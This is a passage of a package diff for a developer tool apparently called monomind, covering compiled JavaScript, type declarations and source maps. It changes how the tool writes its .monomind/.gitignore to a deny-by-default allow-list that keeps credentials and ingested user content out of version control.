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"}
@@ -1,7 +1,9 @@
1
1
  /**
2
2
  * Runtime configuration writers: .monomind/config.yaml, initial metrics files.
3
3
  */
4
+ import { MONOMIND_NEVER_COMMIT } from './never-commit.js';
4
5
  import type { InitOptions, InitResult } from './types.js';
6
+ export { MONOMIND_NEVER_COMMIT };
5
7
  /**
6
8
  * Replacement list for a project-root `.gitignore`'s blanket `.monomind/`
7
9
  * line — see the `replacementIsBlanketEquivalent` guard below. Exported
@@ -1 +1 @@
1
- {"version":3,"file":"write-runtime-config.d.ts","sourceRoot":"","sources":["../../../src/init/write-runtime-config.ts"],"names":[],"mappings":"AAAA;;GAEG;AAKH,OAAO,KAAK,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAG1D;;;;;;GAMG;AACH,eAAO,MAAM,oCAAoC,UAWhD,CAAC;AAQF;;GAEG;AACH,wBAAsB,kBAAkB,CACtC,SAAS,EAAE,MAAM,EACjB,OAAO,EAAE,WAAW,EACpB,MAAM,EAAE,UAAU,GACjB,OAAO,CAAC,IAAI,CAAC,CA6If;AAED;;;GAGG;AACH,wBAAsB,mBAAmB,CACvC,SAAS,EAAE,MAAM,EACjB,OAAO,EAAE,WAAW,EACpB,MAAM,EAAE,UAAU,GACjB,OAAO,CAAC,IAAI,CAAC,CA0Gf"}
1
+ {"version":3,"file":"write-runtime-config.d.ts","sourceRoot":"","sources":["../../../src/init/write-runtime-config.ts"],"names":[],"mappings":"AAAA;;GAEG;AAIH,OAAO,EAAE,qBAAqB,EAAE,MAAM,mBAAmB,CAAC;AAE1D,OAAO,KAAK,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAG1D,OAAO,EAAE,qBAAqB,EAAE,CAAC;AAEjC;;;;;;GAMG;AACH,eAAO,MAAM,oCAAoC,UAWhD,CAAC;AAEF;;GAEG;AACH,wBAAsB,kBAAkB,CACtC,SAAS,EAAE,MAAM,EACjB,OAAO,EAAE,WAAW,EACpB,MAAM,EAAE,UAAU,GACjB,OAAO,CAAC,IAAI,CAAC,CA0Kf;AAED;;;GAGG;AACH,wBAAsB,mBAAmB,CACvC,SAAS,EAAE,MAAM,EACjB,OAAO,EAAE,WAAW,EACpB,MAAM,EAAE,UAAU,GACjB,OAAO,CAAC,IAAI,CAAC,CA0Gf"}
@@ -3,8 +3,10 @@
3
3
  */
4
4
  import * as fs from 'node:fs';
5
5
  import * as path from 'node:path';
6
+ import { MONOMIND_NEVER_COMMIT } from './never-commit.js';
6
7
  import { atomicWriteFile, MAX_EXEC_FILE_BYTES, writeGeneratedFile } from './shared.js';
7
8
  import { writeCapabilitiesDoc } from './write-capabilities.js';
9
+ export { MONOMIND_NEVER_COMMIT };
8
10
  /**
9
11
  * Replacement list for a project-root `.gitignore`'s blanket `.monomind/`
10
12
  * line — see the `replacementIsBlanketEquivalent` guard below. Exported
@@ -22,13 +24,8 @@ export const MONOMIND_GITIGNORE_SPECIFIC_EXCLUDES = [
22
24
  '.monomind/*.db',
23
25
  '.monomind/*.db-wal',
24
26
  '.monomind/*.db-shm',
25
- '.monomind/monoes-connection.json',
27
+ ...MONOMIND_NEVER_COMMIT.map(({ file }) => `.monomind/${file}`),
26
28
  ];
27
- /** The line the generated `.monomind/.gitignore` needs to cover the
28
- * monoes.me refresh token — kept as one constant so the "does the existing
29
- * file already cover it" check and the line we'd append can never drift
30
- * from each other. */
31
- const MONOES_CONNECTION_GITIGNORE_LINE = 'monoes-connection.json';
32
29
  /**
33
30
  * Write runtime configuration (.monomind/)
34
31
  */
@@ -77,45 +74,75 @@ mcp:
77
74
  `;
78
75
  writeGeneratedFile(configPath, config);
79
76
  result.created.files.push('.monomind/config.yaml');
80
- // Write .monomind/.gitignore — commit config/knowledge/metrics, exclude sensitive data
77
+ // Write .monomind/.gitignore.
81
78
  const gitignorePath = path.join(targetDir, '.monomind', '.gitignore');
82
- const gitignore = `# Monomind — exclude files that may contain secrets or sensitive prompt data
83
- # Sessions contain conversation history (prompts, code snippets, user data)
84
- sessions/
85
- # Security scan results may expose vulnerability details
86
- security/
87
- # Temporary and machine-specific files
88
- *.tmp
89
- *.log
90
- daemon.pid
91
- # Never commit credentials or keys
92
- *.key
93
- *.token
94
- *.secret
95
- .env
96
- # monoes.me OAuth refresh token (i-066) — must never be committed
97
- monoes-connection.json
98
- `;
99
79
  if (!fs.existsSync(gitignorePath) || options.force) {
80
+ // i-052 §2(ii) — deny-by-default for FRESH projects. Three
81
+ // independently-maintained denylists (this file's old body,
82
+ // MONOMIND_GITIGNORE_SPECIFIC_EXCLUDES, and doctor's
83
+ // REQUIRED_GITIGNORE_PATTERNS) all separately omitted `dashboard-token`
84
+ // — a denylist can always miss its next dangerous entry. Ignoring
85
+ // everything under .monomind/ and explicitly un-ignoring only what's
86
+ // genuinely meant to be shared means a file monomind starts writing
87
+ // tomorrow is protected by construction, with no list to remember to
88
+ // update. Order matters for git's "can't re-include inside an excluded
89
+ // parent" rule: `!orgs/` must precede any `!orgs/<org>.json` line.
90
+ const gitignore = `# Monomind — deny by default, allow-list what's meant to be committed.
91
+ # See doc/privacy.md and i-052: a curated denylist can always miss its
92
+ # next dangerous entry (this repo shipped a live credential leak because
93
+ # three separate ones did). Ignoring everything and un-ignoring only what
94
+ # monomind genuinely wants shared makes "we forgot to un-ignore something
95
+ # harmless" the failure mode instead of "we leaked a credential".
96
+ *
97
+
98
+ # What monomind wants committed:
99
+ !.gitignore
100
+ !config.yaml
101
+ !CAPABILITIES.md
102
+ !orgs/
103
+ !orgs/sample-team.json
104
+
105
+ # Org DEFINITIONS are meant to be committed (ADR-O001 D6) — but by NAME, one
106
+ # line per org, never \`!orgs/*.json\`. \`orgs/\` is the org runtime's working
107
+ # directory, not a folder of definitions: the runtime and the mastermind
108
+ # skills write ~20 sibling <org>-*.json files into it (-state, -members,
109
+ # -approvals, -join-requests, -budgets, -issues, and -secrets). A *.json glob
110
+ # re-includes every one of them, so the first org you create re-arms exactly
111
+ # the leak this deny-by-default inversion exists to prevent. Only
112
+ # sample-team.json (which \`monomind init\` itself writes) is listed here; add
113
+ # a \`!orgs/<your-org>.json\` line for each org you want under version control.
114
+
115
+ # Deliberately NOT allow-listed: knowledge/ — chunks.jsonl and
116
+ # doc-metadata.jsonl are the actual ingested content of the user's own
117
+ # files, not metadata (doctor-project-checks.ts's REQUIRED_GITIGNORE_PATTERNS
118
+ # ignores it for the same reason). README/privacy.md's "Your notes never
119
+ # leave your computer" claim is about exactly this data; un-ignoring it by
120
+ # default would be a larger privacy regression than the credential this
121
+ # item exists to fix.
122
+ `;
100
123
  atomicWriteFile(gitignorePath, gitignore);
101
124
  result.created.files.push('.monomind/.gitignore');
102
125
  }
103
126
  else {
104
- // i-066 reviewer finding 3: a project inited BEFORE this fix — every
105
- // project that could hold a monoes.me token, since you have to have
106
- // connected to have one — keeps its old .monomind/.gitignore forever
107
- // unless --force is passed, and none of that file's original patterns
108
- // (*.key, *.token, *.secret, .env) match a file literally named
109
- // monoes-connection.json. Make the fix additive: append the missing
110
- // coverage line even on a non-forced re-init, content-guarded so a
111
- // second run is a no-op.
127
+ // i-066 reviewer finding 3, generalised for i-052: a project inited
128
+ // BEFORE a MONOMIND_NEVER_COMMIT entry existed keeps its old
129
+ // .monomind/.gitignore forever unless --force is passed, and none of
130
+ // that file's original patterns (*.key, *.token, *.secret, .env) match
131
+ // an extensionless or otherwise-shaped file like `dashboard-token`.
132
+ // Make the fix additive: append every currently-missing entry even on
133
+ // a non-forced re-init, content-guarded per line so a second run is a
134
+ // no-op and existing entries are never duplicated. This one loop is
135
+ // what originally only covered monoes-connection.json (i-066) — turned
136
+ // from a single hardcoded line into a list so a future
137
+ // MONOMIND_NEVER_COMMIT addition reaches the installed base too,
138
+ // without a fourth hand-written append site.
112
139
  const existingGitignore = fs.readFileSync(gitignorePath, 'utf-8');
113
- const alreadyCovered = existingGitignore
114
- .split('\n')
115
- .some((line) => line.trim() === MONOES_CONNECTION_GITIGNORE_LINE);
116
- if (!alreadyCovered) {
117
- atomicWriteFile(gitignorePath, `${existingGitignore.trimEnd()}\n# monoes.me OAuth refresh token (i-066) — must never be committed\n${MONOES_CONNECTION_GITIGNORE_LINE}\n`);
118
- result.updated.push('.monomind/.gitignore (added monoes-connection.json coverage)');
140
+ const existingLines = new Set(existingGitignore.split('\n').map((line) => line.trim()));
141
+ const missing = MONOMIND_NEVER_COMMIT.filter(({ file }) => !existingLines.has(file));
142
+ if (missing.length > 0) {
143
+ const appendLines = missing.map(({ file, reason }) => `# ${reason}\n${file}`).join('\n');
144
+ atomicWriteFile(gitignorePath, `${existingGitignore.trimEnd()}\n${appendLines}\n`);
145
+ result.updated.push(`.monomind/.gitignore (added ${missing.map(({ file }) => file).join(', ')} coverage)`);
119
146
  }
120
147
  }
121
148
  // Ensure the project-level .gitignore does NOT blanket-ignore .monomind/
@@ -1 +1 @@
1
- {"version":3,"file":"write-runtime-config.js","sourceRoot":"","sources":["../../../src/init/write-runtime-config.ts"],"names":[],"mappings":"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